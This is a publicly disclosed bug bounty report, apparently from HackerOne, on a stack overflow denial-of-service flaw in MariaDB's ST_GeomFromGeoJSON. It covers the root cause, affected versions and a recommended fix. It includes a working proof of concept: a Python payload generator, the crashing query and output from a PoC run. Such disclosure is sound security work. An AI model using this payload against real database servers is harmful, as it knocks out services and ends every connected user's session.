HexBrain

MariaDB · Report #3769676

Stack Overflow DoS in ST_GeomFromGeoJSON Allows Any Authenticated User to Crash the Entire Server

Validstatus
mediumseverity
18upvotes
3 Sept 2026disclosed

How it was found

Any authenticated user with basic SELECT privileges can crash the entire MariaDB server process by passing a deeply nested GeoJSON GeometryCollection to ST_GeomFromGeoJSON(). The crash kills all active connections and requires a full server restart. The root cause is unbounded recursion in the GeoJSON parser (sql/spatial.cc) with zero stack overflow guards, while the equivalent JSON parsing functions have nine such guards. The WKT parser explicitly rejects nested GeometryCollection objects, confirming that the developers recognized the recursion risk but never applied the same defense to the GeoJSON code path.

Vulnerability Details

MariaDB's ST_GeomFromGeoJSON() function parses GeoJSON input through a recursive call chain between two functions:

  1. Geometry::create_from_json() at sql/spatial.cc:578
  2. Gis_geometry_collection::init_from_json() at sql/spatial.cc:4447

When a GeometryCollection contains another GeometryCollection, init_from_json() calls create_from_json() for each nested geometry (line 4474), which identifies the inner GeometryCollection and calls init_from_json() again. This loop repeats without limit.

Each recursion level consumes roughly 300 to 500 bytes of C stack space. With the default thread_stack of 256KB to 1MB, approximately 650 to 2500 levels of nesting will exhaust the stack and trigger a SIGSEGV, crashing the entire mysqld process.

Why existing protections do not help

JSON parser depth limit (32) is bypassed. At line 754 of spatial.cc, create_from_json() calls json_scan_start(), which resets the JSON engine's stack_p counter to 0 on every recursive call. The depth limit never accumulates.

No check_stack_overrun() anywhere in spatial.cc. A grep confirms zero occurrences. Compare this with sql/item_jsonfunc.cc, which has nine check_stack_overrun() guards protecting its own recursive JSON processing.

The WKT parser blocks this exact pattern. At spatial.cc:4337-4341, Gis_geometry_collection::init_from_wkt() explicitly rejects nested GeometryCollection with the error "Unexpected GEOMETRYCOLLECTION". The GeoJSON parser has no equivalent guard.

This is a textbook variant miss: the same recursion risk was identified and mitigated in two parallel code paths (JSON functions and WKT parser), but the GeoJSON parser was left unprotected.

Steps to Reproduce

This is a source code finding based on review of the MariaDB Server GitHub repository (branch: main, version 13.1.0-alpha). The vulnerable code has been present since ST_GeomFromGeoJSON was introduced in MariaDB 10.2.4 and affects all versions through the current development trunk.

1. Connect to a MariaDB server as any user with SELECT privilege.

2. Generate a deeply nested GeoJSON GeometryCollection. The following Python script produces a payload with 2000 nesting levels:

payload = '{"type":"Point","coordinates":[0,0]}'
for i in range(2000):
    payload = '{"type":"GeometryCollection","geometries":[' + payload + ']}'
print(payload)

3. Execute the query:

SELECT ST_GeomFromGeoJSON('<paste_nested_payload_here>');

4. The server process crashes with SIGSEGV (stack overflow). All client connections are terminated. The server must be restarted.

Code path trace

Item_func_geometry_from_json::val_str()        -- sql/item_geofunc.cc:175
  -> Geometry::create_from_json()              -- sql/spatial.cc:578
       json_scan_start(je, ...)                -- resets je->stack_p = 0 (line 754)
       -> Gis_geometry_collection::init_from_json()  -- sql/spatial.cc:4447
            -> create_from_json()              -- sql/spatial.cc:4474 (RECURSE)

Zero check_stack_overrun() calls exist in this chain.

POC - run-poc.sh

████████

=== MariaDB GeoJSON Stack Overflow PoC ===

[1/7] Starting MariaDB container on port 13306...
[2/7] Waiting for MariaDB to initialize...
[3/7] Collecting server info...
       Version:      12.2.2-MariaDB-ubu2404
       thread_stack: 299008 bytes
[4/7] Generating nested GeoJSON payload (depth=2000)...
       Payload size: 90066 bytes
[5/7] Copying payload into container...
Successfully copied 90.1kB (transferred 91.6kB) to mariadb-poc-test:/tmp/poc.sql
[6/7] Confirming server is alive before PoC...
       Server is UP and responding.
[7/7] Sending PoC payload...

=== Results ===
[+] CONFIRMED: Server crashed with SIGSEGV (exit code 139)

    MariaDB Version:  12.2.2-MariaDB-ubu2404
    thread_stack:     299008 bytes
    Nesting depth:    2000
    Container status: exited
    Exit code:        139 (128 + 11 = SIGSEGV)

    The entire MariaDB server process was killed.
    All client connections would be terminated.

    Crash log (last 5 lines):
2026-05-29 13:54:55 0 [Note] Server socket created on IP: '0.0.0.0', port: '3306'.
2026-05-29 13:54:55 0 [Note] Server socket created on IP: '::', port: '3306'.
2026-05-29 13:54:55 0 [Note] mariadbd: Event Scheduler: Loaded 0 events
2026-05-29 13:54:55 0 [Note] mariadbd: ready for connections.
Version: '12.2.2-MariaDB-ubu2404'  socket: '/run/mysqld/mysqld.sock'  port: 3306  mariadb.org binary distribution

Cleaning up...
Done.

Additional attack surface

  • Unauthenticated via web applications: Any application that passes user-supplied GeoJSON data to ST_GeomFromGeoJSON() (common in mapping and GIS applications) creates an unauthenticated attack vector against the backend database server.

  • Replication cascade: If statement-based replication (SBR) is in use, the malicious query replicates to all slaves, crashing them as well. A single query can take down an entire replication topology.

Affected Versions

All MariaDB versions from 10.2.4 (when ST_GeomFromGeoJSON was introduced) through 13.1.0-alpha (current development trunk). The recursive call chain in spatial.cc has never had stack overflow protection added.

Recommended Fix

Add check_stack_overrun(current_thd, STACK_MIN_SIZE, NULL) at the entry of Gis_geometry_collection::init_from_json() (line 4447 of sql/spatial.cc), matching the pattern used throughout sql/item_jsonfunc.cc. Alternatively, or additionally, reject nested GeometryCollection in the GeoJSON path the same way the WKT path does at lines 4337-4341.

Supporting Evidence

EvidenceLocation
Recursive call chainspatial.cc:578 -> spatial.cc:4474 -> spatial.cc:578
Zero stack guards in spatial.ccgrep -c "check_stack_overrun" sql/spatial.cc returns 0
Nine stack guards in JSON functionsgrep -c "check_stack_overrun" sql/item_jsonfunc.cc returns 9
WKT path blocks nested GeometryCollectionspatial.cc:4337-4341
json_scan_start resets depth counterjson_lib.c:867 sets stack_p = 0

Impact

A single authenticated user with the most basic privilege level (SELECT) can crash the entire MariaDB server with one query. This is not a per-connection crash. MariaDB uses a single-process, multi-threaded architecture, so a stack overflow in any thread kills the entire mysqld process. Every connected client loses their session. Uncommitted transactions are rolled back. The server requires a manual restart (or automatic restart via systemd, but with a downtime window).

The attack payload is small (under 1MB for 2000 nesting levels) and can be repeated immediately after the server restarts, enabling sustained denial of service.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original